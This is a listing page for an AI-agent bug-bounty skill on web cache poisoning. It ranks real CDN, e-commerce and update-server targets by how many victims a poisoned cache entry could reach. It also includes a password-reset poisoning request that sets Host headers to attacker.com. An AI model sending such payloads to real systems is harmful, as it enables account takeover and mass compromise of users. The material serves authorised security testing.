Hunt Cache Poison
Hunting skill for cache poison vulnerabilities.
Install
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cache-poison -g -a claude-code -y- Repository
- elementalsouls/Claude-BugHunter5.4k
- Category
- Security
- Updated
- 3d ago
- License
- MIT
- Context cost
- Mediumabout 3,000 tokens
- Runs scripts
- No, instructions only
What it does
Hunting skill for cache poison vulnerabilities. Built from 10 public bug bounty reports including X-Forwarded-Host poisoning, X-HTTP-Method-Override / GCS cache, reflected→stored XSS via cache, classic Omer-Gil Web Cache Deception, Cloudflare Cache Deception Armor bypass, session-token cache deception, Akamai hop-by-hop smuggling → server-side edge poisoning, and Kettle's 2024 path-normalization WCD against Cloudflare/Fastly/GCP. Host/X-Forwarded-Host injection that reaches app logic (reset-link poisoning, routing SSRF, OAuth issuer) is owned by hunt-host-header; this skill owns the case where the poisoned response is CACHED and served to other users. Use when hunting cache poisoning, Web Cache Deception, CDN-fronted apps.
Crown Jewel Targets
Cache poisoning is high-value because a single poisoned cache entry can affect thousands or millions of victims simultaneously, one request, mass exploitation. Payout scales with blast radius.
Highest-value targets:
- CDN-served assets (cdn.shopify.com, cloudfront distributions, Fastly/Akamai edges), poisoning these affects every visitor globally
- E-commerce platforms with affiliate/referral flows (Shopify, WooCommerce storefronts), session hijack or affiliate fraud potential
- Gaming platforms with update servers (rockstargames updates.* domains), DoS on update delivery = widespread client breakage
- Authentication endpoints served through caches, leads to account takeover (the highest severity variant)
- Asset CDNs (JS/CSS delivery), XSS payload delivery at scale
- SaaS multi-tenant platforms, one poisoned response bleeds into all tenants sharing a cache key
Asset types that pay most: CDN hostnames, subdomain-per-tenant patterns, update/download servers, login/account pages cached incorrectly, affiliate link shorteners.
Autonomous Testing Priority
Two distinct attacks live under this skill, target the simpler one first.
Attack 1, Password Reset Poisoning (Host header injection):
The app uses the Host header to construct the password reset link in the email. Inject an attacker-controlled hostname; the victim's reset email contains a link to your server.
POST /forgot-password
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
email=victim@target.com
Content-Type: application/x-www-form-urlencoded
Use a distinctive hostname you control or can identify in the response. Proof: the injected hostname appears in the response body (some apps reflect the generated reset link), or the action succeeds (2xx with a "reset email sent" message) after injection, confirming the poisoned link would be sent to the victim.
